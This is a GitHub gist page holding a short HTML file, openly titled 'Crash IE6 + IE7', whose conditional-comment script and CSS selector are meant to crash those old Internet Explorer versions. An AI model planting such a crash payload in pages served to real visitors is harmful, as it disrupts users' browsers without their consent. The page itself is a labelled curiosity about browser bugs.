Skip to content

Instantly share code, notes, and snippets.

@joemaffia
Forked from nathansmith/crash_old_ie.html
Created December 2, 2010 09:51
Show Gist options
  • Save joemaffia/725050 to your computer and use it in GitHub Desktop.
Save joemaffia/725050 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Crash IE6 + IE7</title>
<!--[if IE 6]>
<script>
for (x in document.write) {
document.write(x);
}
</script>
<![endif]-->
<!--[if IE 7]>
<style>
button[value=""]{}
</style>
<![endif]-->
</head>
<body>
This should crash in IE6 + IE7.
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment